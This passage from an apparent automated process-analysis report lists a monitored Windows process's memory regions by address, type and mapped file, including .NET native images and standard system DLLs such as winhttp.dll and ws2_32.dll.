0x1a98ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a980000" filename = "" Region: id = 6074 start_va = 0x1bad0000 end_va = 0x1bbcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bad0000" filename = "" Region: id = 6075 start_va = 0x7ffffef6000 end_va = 0x7ffffef7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef6000" filename = "" Region: id = 6076 start_va = 0x7fe92080000 end_va = 0x7fe9208ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92080000" filename = "" Region: id = 6077 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 6078 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 6079 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 6080 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 6081 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 6082 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 6083 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 6084 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6085 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 6086 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 6087 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 6088 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 6089 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 6090 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 6091 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 6092 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 6093 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 6094 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 6095 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 6096 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 6097 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6098 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6099 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 6100 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 6101 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 6102 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 6103 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 6104 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 6105 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 6106 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 6107 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 6108 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 6109 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 6110 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 6111 start_va = 0x740000 end_va = 0x74ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000740000" filename = "" Region: id = 6112 start_va = 0x750000 end_va = 0x75ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000750000" filename = "" Region: id = 6113 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 6114 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 6115 start_va = 0x7fe92090000 end_va = 0x7fe9209ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92090000" filename = "" Region: id = 6116 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 6117 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 6118 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 6119 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6120 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6121 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 6122 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 6123 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 6124 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 6125 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 6126 start_va = 0x7fef2040000 end_va = 0x7fef2ab4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Core\\0d59b0e237d7519417de10cd84bda4e7\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.core\\0d59b0e237d7519417de10cd84bda4e7\\system.core.ni.dll") Region: id = 6127 start_va = 0x7fef3960000 end_va = 0x7fef3a92fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.configuration.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Configuration\\4beb1eeca20b27d4bd1bb9880f03cc2a\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.configuration\\4beb1eeca20b27d4bd1bb9880f03cc2a\\system.configuration.ni.dll") Region: id = 6128 start_va = 0x7feef670000 end_va = 0x7feeff1afff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\5ee35debfc22f727e70e4479ddcbc045\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.xml\\5ee35debfc22f727e70e4479ddcbc045\\system.xml.ni.dll") Region: id = 6129 start_va = 0x7fefe4e0000 end_va = 0x7feff267fff monitored = 0 entry_point = 0x7fefe55cebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 6130 start_va = 0x120000 end_va = 0x120fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 6131 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 6132 start_va = 0x7fefd590000 end_va = 0x7fefd5b1fff monitored = 0 entry_point = 0x7fefd595d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 6133 start_va = 0x77da0000 end_va = 0x77da6fff monitored = 0 entry_point = 0x77da106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 6134 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 6135 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 6146 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 6147 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 6148 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 6149 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 6150 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6151 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6152 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 6153 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 6154 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 6155 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 6156 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 6157 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 6158 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 6159 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6160 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 6161 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 6162 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 6163 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6164 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6165 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 6166 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 6167 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 6168 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 6169 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 6170 start_va = 0x1aed0000 end_va = 0x1af0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aed0000" filename = "" Region: id = 6171 start_va = 0x1af90000 end_va = 0x1b00ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af90000" filename = "" Region: id = 6172 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 6173 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 6174 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 6175 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 6176 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 6177 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 6178 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 6179 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 6180 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6181 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6182 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 6183 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 6184 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 6185 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 6186 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 6187 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 6188 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 6189 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 6190 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 6191 start_va = 0x130000 end_va = 0x131fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 6192 start_va = 0x1bca0000 end_va = 0x1bd9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bca0000" filename = "" Region: id = 6193 start_va = 0x7ffffef4000 end_va = 0x7ffffef5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef4000" filename = "" Region: id = 6194 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 6195 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6196 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6197 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6198 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6199 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6200 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 6201 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6202 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6203 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 6204 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 6205 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 6206 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 6207 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 6208 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 6209 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6210 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6211 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 6212 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 6213 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 6214 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 6244 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 6245 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 6246 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 6247 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 6248 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6249 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6250 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6251 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6252 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6253 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 6254 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 6255 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6256 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 6257 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6258 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6259 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 6260 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 6317 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 6318 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6319 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 6323 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 6324 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6325 start_va = 0x460000 end_va = 0x470fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6326 start_va = 0x7fef68d0000 end_va = 0x7fef6931fff monitored = 0 entry_point = 0x7fef68d1198 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 6327 start_va = 0x7fef68b0000 end_va = 0x7fef68cbfff monitored = 0 entry_point = 0x7fef68b11a0 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 6328 start_va = 0x7fefe190000 end_va = 0x7fefe1dcfff monitored = 0 entry_point = 0x7fefe191070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 6329 start_va = 0x7fefe050000 end_va = 0x7fefe057fff monitored = 0 entry_point = 0x7fefe051504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 6330 start_va = 0x7fefbbe0000 end_va = 0x7fefbbf0fff monitored = 0 entry_point = 0x7fefbbe14c0 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 6331 start_va = 0x7fefd3c0000 end_va = 0x7fefd414fff monitored = 0 entry_point = 0x7fefd3c1054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 6332 start_va = 0x7fefcdc0000 end_va = 0x7fefcdc6fff monitored = 0 entry_point = 0x7fefcdc14b0 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 6333 start_va = 0x7fefd3b0000 end_va = 0x7fefd3b6fff monitored = 0 entry_point = 0x7fefd3b142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 6334 start_va = 0x1a790000 end_va = 0x1a84ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 6335 start_va = 0x1bcc0000 end_va = 0x1bdbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bcc0000" filename = "" Region: id = 6336 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 6337 start_va = 0x7fefa910000 end_va = 0x7fefa980fff monitored = 0 entry_point = 0x7fefa911010 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 6338 start_va = 0x7fefa8a0000 end_va = 0x7fefa903fff monitored = 0 entry_point = 0x7fefa8a1254 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 6339 start_va = 0x7fefd020000 end_va = 0x7fefd029fff monitored = 0 entry_point = 0x7fefd023cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 6340 start_va = 0x7fefb600000 end_va = 0x7fefb626fff monitored = 0 entry_point = 0x7fefb6098bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 6341 start_va = 0x7fefb5f0000 end_va = 0x7fefb5fafff monitored = 0 entry_point = 0x7fefb5f1198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 6342 start_va = 0x7fefb390000 end_va = 0x7fefb3a0fff monitored = 0 entry_point = 0x7fefb3916ac region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 6343 start_va = 0x7fefb370000 end_va = 0x7fefb387fff monitored = 0 entry_point = 0x7fefb371bf8 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 6344 start_va = 0x7fe920a0000 end_va = 0x7fe920affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe920a0000" filename = "" Region: id = 6349 start_va = 0x1b9b0000 end_va = 0x1baaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9b0000" filename = "" Region: id = 6350 start_va = 0x7ffffef4000 end_va = 0x7ffffef5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef4000" filename = "" Region: id = 6351 start_va = 0x150000 end_va = 0x150fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 6352 start_va = 0x3d0000 end_va = 0x3d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\System32\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tzres.dll.mui") Region: id = 6353 start_va = 0x150000 end_va = 0x150fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 6354 start_va = 0x3d0000 end_va = 0x3d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\System32\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tzres.dll.mui") Region: id = 6355 start_va = 0x150000 end_va = 0x150fff monitored = 0 entry_point = 